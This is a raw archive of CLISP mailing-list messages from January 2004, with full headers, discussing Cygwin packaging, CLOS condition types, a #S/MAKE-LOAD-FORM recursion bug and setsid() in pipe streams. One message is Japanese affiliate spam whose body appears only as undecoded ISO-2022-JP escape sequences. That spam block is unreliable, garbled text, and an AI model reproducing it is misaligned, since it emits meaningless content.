sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AdzHh-00049C-HT for clisp-list@lists.sourceforge.net; Tue, 06 Jan 2004 14:02:46 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id i06M1s206125; Tue, 6 Jan 2004 17:01:55 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, Kaz Kylheku Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Kaz Kylheku's message of "Tue, 6 Jan 2004 13:40:46 -0800 (PST)") References: Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: cygwin clisip-2.32 and maxima Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 6 14:03:01 2004 X-Original-Date: Tue, 06 Jan 2004 17:01:54 -0500 > * Kaz Kylheku [2004-01-06 13:40:46 -0800]: > > I have another issue with the clisp-2.32 Cygwin package. I just > subscribed to the cygwin mailing list to gripe about it. ;) > > This CLISP is built with libsigsegv, but that lib is nowhere to be > installed. As a result, you can't build a custom link of CLISP; the > makevars calls for ``-lsigsegv'' which doesn't exist, and can't be > found among the packages. why don't you volunteer to maintain the cygwin libsigsegv package? and, while you are there, also the cygwin clisp package. :-) -- Sam Steingold (http://www.podval.org/~sds) running w2k He who laughs last thinks slowest. From iwai@keywordsaffiliate.com Tue Jan 06 19:54:30 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1Ae4m6-0005Wo-Al for clisp-list@lists.sourceforge.net; Tue, 06 Jan 2004 19:54:30 -0800 Received: from st48.arena.ne.jp ([210.150.222.2]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.30) id 1Ae4m5-0003hA-VL for clisp-list@lists.sourceforge.net; Tue, 06 Jan 2004 19:54:30 -0800 Received: (qmail 3078 invoked by SAV 20031121.8); 7 Jan 2004 12:54:23 +0900 Received: from unknown (HELO nidt002) (202.239.229.86) by st48.arena.ne.jp with SMTP; 7 Jan 2004 12:54:23 +0900 To: clisp-list@lists.sourceforge.net From: =?ISO-2022-JP?B?GyRCNGQwZhsoQg==?= MIME-Version: 1.0 Content-Type: text/plain; charset=iso-2022-jp Content-Transfer-Encoding: 7bit X-Mailer: IM2001 Version 2.01 Message-Id: <0107104130858.3505@nidt002> X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 PLING_QUERY Subject has exclamation mark and question mark 1.3 GAPPY_SUBJECT Subject: contains G.a.p.p.y-T.e.x.t 0.0 HTML_MESSAGE BODY: HTML included in message Subject: [clisp-list] =?ISO-2022-JP?B?GyRCTXgxVzRUODU3PyUtITwlbyE8GyhC?= =?ISO-2022-JP?B?GyRCJUklaiVzJS83RzpcJE4kKjRqJCQbKEI=?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 6 19:55:00 2004 X-Original-Date: Wed, 07 Jan 2004 13:08:58 +0900 $B!VMx1W4T857?%-!<%o!<%I%j%s%/7G:\$N$*4j$$!W(B $B3t<02qo$K%f%K!<%/$J(B $B!VMx1W4T857?%F%-%9%H%j%s%/!W$r3+H/CW$7$^$7$?$N$G!"$4>R2p$5$;$FD:$-(B $B$?$/%a!<%k$r$5$;$FD:$-$^$7$?!#(B $B!!%5!<%S%9$N(B2004$BG/(B2$B7nCf=\%9%?!<%H%"%C%W$H$7$^$7$F8=:_!"?7%7%9%F%`$N(B $BMx1W4T857?%-!<%o!<%I%j%s%/$r7G:\$7$FD:$1$k%5%$%H$rI}9-$/Jg=8$5$;$FD:(B $B$$$F$*$j$^$9!#(B $BJg=8$r%9%?!<%H$7$F4V$b$J$$$G$9$,!"4{$K(B10000$B7o%5%$%H0J>e$N%[!<%`%Z!<%8(B $B1?1D&IJ$r9XF~!"(B $B2q0wEPO?$J$I$r$9$k$H%[!<%`%Z!<%81?1D&IJ$rDs6!$9$k%/%i%$%"%s%HMM$O!"Bg0!"8f%5%$%H$N@-e!"%j%s%/$,7G:\=PMh$J$$1?1D To: clisp-list@lists.sourceforge.net, Sam Steingold User-Agent: KMail/1.5 References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401081701.39697.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Apparent #S reader problem in 2.32 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 8 08:05:01 2004 X-Original-Date: Thu, 8 Jan 2004 17:01:39 +0100 Sam wrote: > this is caused by make-init-form in loadform.lisp: no-*-method signal > either TYPE-ERROR or just ERROR and both have to be ignored in > make-init-form. > we have the following options: > > - ignore _all_ errors there (what about, say, compilation errors?!) Generally a bad idea. > - add > > ;; for no-applicable-method, no-primary-method, no-next-method > (define-condition method-error (simple-error) > (($gf :initarg :generic-function :reader method-error-generic-function) > ($args :initarg :argument-list :reader method-error-argument-list))) > (define-condition method-type-error (method-error simple-type-error) ()) > > to condition.lisp with appropriate modifications to clos.lisp and > exporting METHOD-*ERROR* from CLOS and EXT. Yes, that's the way to go. Introducing more specific condition types never hurts. I would call these 'method-call-error' and 'method-call-type-error', since it's a problem not with the method but with its arguments. > - modification of the above removing METHOD-TYPE-ERROR and the whole > "dispatching arg" thing from clos.lisp - I don't see how it is useful. This is nonsense. NO-APPLICABLE-METHOD goes to great lengths to provide a TYPE-ERROR if possible. This is a feature for the user who want to catch errors. If you have code that relies on the fact that a condition's type is _exactly_ ERROR and not a subtype of ERROR, this code is wrong: the code which signals the condition is always free to create a more specific condition type. Bruno From sds@gnu.org Thu Jan 08 08:22:54 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1Aecvu-0005Tm-1y for clisp-list@lists.sourceforge.net; Thu, 08 Jan 2004 08:22:54 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1Aecvo-0003BV-Ur for clisp-list@lists.sourceforge.net; Thu, 08 Jan 2004 08:22:49 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id i08GMY809759; Thu, 8 Jan 2004 11:22:34 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, Bruno Haible Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200401081701.39697.bruno@clisp.org> (Bruno Haible's message of "Thu, 8 Jan 2004 17:01:39 +0100") User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) References: <200401081701.39697.bruno@clisp.org> Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Apparent #S reader problem in 2.32 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 8 08:23:14 2004 X-Original-Date: Thu, 08 Jan 2004 11:22:33 -0500 > * Bruno Haible [2004-01-08 17:01:39 +0100]: > > Sam wrote: > >> - modification of the above removing METHOD-TYPE-ERROR and the whole >> "dispatching arg" thing from clos.lisp - I don't see how it is useful. > > This is nonsense. NO-APPLICABLE-METHOD goes to great lengths to > provide a TYPE-ERROR if possible. This is a feature for the user who > want to catch errors. If you have code that relies on the fact that a > condition's type is _exactly_ ERROR and not a subtype of ERROR, this > code is wrong: the code which signals the condition is always free to > create a more specific condition type. Yes, I understand what you are doing there. I just doubt that anyone is using this feature. If you want to keep it - it is fine with me. I will check in the patch soon. -- Sam Steingold (http://www.podval.org/~sds) running w2k A PC without Windows is like ice cream without ketchup. From sds@gnu.org Thu Jan 08 08:41:53 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AedEH-0006oP-OU for clisp-list@lists.sourceforge.net; Thu, 08 Jan 2004 08:41:53 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AedEG-0000KR-Cp for clisp-list@lists.sourceforge.net; Thu, 08 Jan 2004 08:41:52 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id i08Gf0815549; Thu, 8 Jan 2004 11:41:01 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, Kaz Kylheku Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Kaz Kylheku's message of "Tue, 6 Jan 2004 13:40:46 -0800 (PST)") User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) References: Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: cygwin clisip-2.32 and maxima Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 8 08:42:05 2004 X-Original-Date: Thu, 08 Jan 2004 11:41:00 -0500 > * Kaz Kylheku [2004-01-06 13:40:46 -0800]: > > I have another issue with the clisp-2.32 Cygwin package. I just > subscribed to the cygwin mailing list to gripe about it. ;) haven't see your message there. > This CLISP is built with libsigsegv, but that lib is nowhere to be > installed. As a result, you can't build a custom link of CLISP; the > makevars calls for ``-lsigsegv'' which doesn't exist, and can't be > found among the packages. why do you need this? do you have your own modules? -- Sam Steingold (http://www.podval.org/~sds) running w2k Garbage In, Gospel Out From bruno@clisp.org Thu Jan 08 08:54:11 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AedQB-0007iP-P2 for clisp-list@lists.sourceforge.net; Thu, 08 Jan 2004 08:54:11 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AedQB-0008Do-5n for clisp-list@lists.sourceforge.net; Thu, 08 Jan 2004 08:54:11 -0800 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.10/8.12.10) with ESMTP id i08GrpRw026095; Thu, 8 Jan 2004 17:53:51 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.12.10/8.12.10) with ESMTP id i08GroxM011224; Thu, 8 Jan 2004 17:53:50 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 876D817712; Thu, 8 Jan 2004 16:51:30 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net, Sam Steingold User-Agent: KMail/1.5 References: <200401081701.39697.bruno@clisp.org> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401081751.29471.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Apparent #S reader problem in 2.32 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 8 08:55:00 2004 X-Original-Date: Thu, 8 Jan 2004 17:51:29 +0100 Sam wrote: > I just doubt that anyone is using this feature. Even if there is no documentation about the precise condition type signalled in a particular situation, people often display the error condition, to see what type it belongs to, and then use HANDLER-BIND with this condition type. So, signalling ERROR instead of TYPE-ERROR creates a backwards compatibility problem. But signalling XYZ-ERROR instead of ERROR doesn't create a backward compatibility problem, if the handling code is written in a sane way. Bruno From kaz@footprints.net Thu Jan 08 09:09:45 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AedfF-0000Qr-Fz for clisp-list@lists.sourceforge.net; Thu, 08 Jan 2004 09:09:45 -0800 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AedfF-0002F4-5i for clisp-list@lists.sourceforge.net; Thu, 08 Jan 2004 09:09:45 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 1AedfB-0004Vz-00; Thu, 08 Jan 2004 09:09:41 -0800 From: Kaz Kylheku To: Bruno Haible cc: clisp-list@lists.sourceforge.net, Sam Steingold In-Reply-To: <200401081701.39697.bruno@clisp.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Apparent #S reader problem in 2.32 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 8 09:10:03 2004 X-Original-Date: Thu, 8 Jan 2004 09:09:41 -0800 (PST) On Thu, 8 Jan 2004, Bruno Haible wrote: > Sam wrote: > > this is caused by make-init-form in loadform.lisp: no-*-method signal > > either TYPE-ERROR or just ERROR and both have to be ignored in > > make-init-form. More detail: the problem that occurs in my particular test case goes like this: CLISP wants to print a struct object via PRINT-OBJECT. Because this is at compile time, and the object came from the #S syntax, there is a cached form which depends on MAKE-LOAD-FORM being specialized for that struct. So the pretty printer tries to use the load form, and blows up on the lack of a method. Now the problem is that the error which is generated is caught in a HANDLER-CASE in MAKE-INIT-FORM which wants to print the offending object rather than ignore the error! So an infinite recursion is caused through PRINT-OBJECT back to MAKE-INIT-FORM, because it's the printing of the object that causes the error. The real problem is that both MAKE-INIT-FORM tries to take the error handling into its own hands, so to speak, rather than defer it to the calling layers. MAKE-INIT-FORM has a brain-damaged HANDLER-CASE which tries to guess which errors might be method problems. It's wrong to catch errors at this level, because not only does it lead to the looping behavior, but it makes it impossible for the highest level to provide a specific, accurate diagnostic relevant to the real problem. PRINT-OBJECT falls back on PRINT-UNREADABLE-OBJECT if MAKE-INIT-FORM returns NIL. But this is a problem if MAKE-INIT-FORM returns NIL because it silently caught an error! What if the unreadable object is unacceptable to the caller of PRINT-OBJECT? If you are using PRINT-OBJECT to dump to a .FAS file, for instance, and you get some unreadable representation, you end up with a garbage .FAS that won't load. A NIL return from MAKE-INIT-FORM should really mean ``There is no init form available, and this is okay'' not ``There is no init form available, possibly because of a nasty error that was swept under the rug''. Ultimately, it would really be good to raise a specific error which tells the programmer: ``You used #s() to specify a struct literal in compiled code, but did not specialize a MAKE-LOAD-FORM method for that struct type! See ANSI CL 3.2.4.4'' :) From kaz@footprints.net Thu Jan 08 09:37:07 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1Aee5j-00029d-5V for clisp-list@lists.sourceforge.net; Thu, 08 Jan 2004 09:37:07 -0800 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1Aee5i-0003WO-Ci for clisp-list@lists.sourceforge.net; Thu, 08 Jan 2004 09:37:06 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 1Aee5h-0004jq-00 for clisp-list@lists.sourceforge.net; Thu, 08 Jan 2004 09:37:05 -0800 From: Kaz Kylheku To: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: cygwin clisip-2.32 and maxima Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 8 09:38:00 2004 X-Original-Date: Thu, 8 Jan 2004 09:37:05 -0800 (PST) On Thu, 8 Jan 2004, Sam Steingold wrote: > > * Kaz Kylheku [2004-01-06 13:40:46 -0800]: > > > > I have another issue with the clisp-2.32 Cygwin package. I just > > subscribed to the cygwin mailing list to gripe about it. ;) > haven't see your message there. Ah shoot; I forgot to re-submit it after dealing with their mailer's anti-spam registration feature. From sds@gnu.org Thu Jan 08 09:42:18 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AeeAk-0002Uf-R8 for clisp-list@lists.sourceforge.net; Thu, 08 Jan 2004 09:42:18 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AeeAk-0000nq-73 for clisp-list@lists.sourceforge.net; Thu, 08 Jan 2004 09:42:18 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id i08HfdJ04179; Thu, 8 Jan 2004 12:41:40 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, Kaz Kylheku Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Kaz Kylheku's message of "Sat, 3 Jan 2004 14:47:25 -0800 (PST)") User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) References: Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Apparent #S reader problem in 2.32 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 8 09:43:01 2004 X-Original-Date: Thu, 08 Jan 2004 12:41:39 -0500 this is not fixed in the CVS -- Sam Steingold (http://www.podval.org/~sds) running w2k When we write programs that "learn", it turns out we do and they don't. From kaz@footprints.net Thu Jan 08 09:53:35 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AeeLf-0003A1-Qd for clisp-list@lists.sourceforge.net; Thu, 08 Jan 2004 09:53:35 -0800 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AeeLf-0003o9-IM for clisp-list@lists.sourceforge.net; Thu, 08 Jan 2004 09:53:35 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 1AeeLe-0004wk-00 for clisp-list@lists.sourceforge.net; Thu, 08 Jan 2004 09:53:34 -0800 From: Kaz Kylheku To: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Apparent #S reader problem in 2.32 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 8 09:54:02 2004 X-Original-Date: Thu, 8 Jan 2004 09:53:34 -0800 (PST) On Thu, 8 Jan 2004, Sam Steingold wrote: > this is not fixed in the CVS I understand. In my case, its caused by broken code so the fix would only give me a nicer diagnostic. I fixed my broken code so it does not trigger the behavior. Since I don't feel like specializing a method for the sake of a single occurence of #S in a module, I replaced the #S literal with a moral equivalent: (load-time-value (make-foo ...)) I wasn't previously aware of this language requirement that the programmer must help the compiler externalize simple structs! From sds@gnu.org Thu Jan 08 09:58:15 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AeeQB-0003QY-CN for clisp-list@lists.sourceforge.net; Thu, 08 Jan 2004 09:58:15 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AeeQB-0005Js-0W for clisp-list@lists.sourceforge.net; Thu, 08 Jan 2004 09:58:15 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id i08HvaJ09165; Thu, 8 Jan 2004 12:57:37 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, Kaz Kylheku Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Kaz Kylheku's message of "Thu, 8 Jan 2004 09:53:34 -0800 (PST)") User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) References: Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Apparent #S reader problem in 2.32 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 8 09:59:01 2004 X-Original-Date: Thu, 08 Jan 2004 12:57:35 -0500 > * Kaz Kylheku [2004-01-08 09:53:34 -0800]: > > On Thu, 8 Jan 2004, Sam Steingold wrote: > >> this is not fixed in the CVS typo: "not" should have been "now". I meant to say that I just committed a fix. -- Sam Steingold (http://www.podval.org/~sds) running w2k Daddy, why doesn't this magnet pick up this floppy disk? From kaz@footprints.net Fri Jan 09 08:55:52 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AezvM-00044T-E0 for clisp-list@lists.sourceforge.net; Fri, 09 Jan 2004 08:55:52 -0800 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AezvM-0001mG-11 for clisp-list@lists.sourceforge.net; Fri, 09 Jan 2004 08:55:52 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 1AezvJ-0004nn-00 for clisp-list@lists.sourceforge.net; Fri, 09 Jan 2004 08:55:49 -0800 From: Kaz Kylheku To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Annoying pipe stream behavior. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 9 08:56:03 2004 X-Original-Date: Fri, 9 Jan 2004 08:55:49 -0800 (PST) If you run an external process with MAKE-PIPE-INPUT-STREAM, and that process, or a child thereof, wants input from the terminal---such as a password---it doesn't work. For example (make-pipe-input-stream "ssh me@remote.host ls") SSH prompts for password. You type, but characters are echoed to the terminal and are not going into ssh! This is not the subordinate program's fault, because you can redirect its output from the shell without running into this problem, e.g. ssh me@remote.host ls | some-program # ssh prompts for password, you can enter it I haven't done enough investigation to know what the exact issue is; but it's likely because of the SETSID() call in create_input_pipe(). The setsid() function creates a new job control session with no controlling tty. Why would you want to do that for a pipe coprocess? That's useful for a background process such as a daemon which runs without a controlling terminal (and probably must use O_NOCTTY when opening tty devices to avoid acquiring one). Note how the shell does not create new sessions for commands: $ ps -o sess,pid,command SESS PID COMMAND 17457 17457 -bash 17457 18145 /bin/bash -c (ps -o sess,pid,command) >/tmp/v683723/3 2>&1 17457 18146 ps -o sess,pid,command See? The ps process is in the same session as the shell. Not in a new session. The shell is the session leader: its PID and session ID are the same. From sds@gnu.org Fri Jan 09 09:41:16 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1Af0dI-0006Kk-Ga for clisp-list@lists.sourceforge.net; Fri, 09 Jan 2004 09:41:16 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1Af0dH-0006FS-Ao for clisp-list@lists.sourceforge.net; Fri, 09 Jan 2004 09:41:15 -0800 Received: from 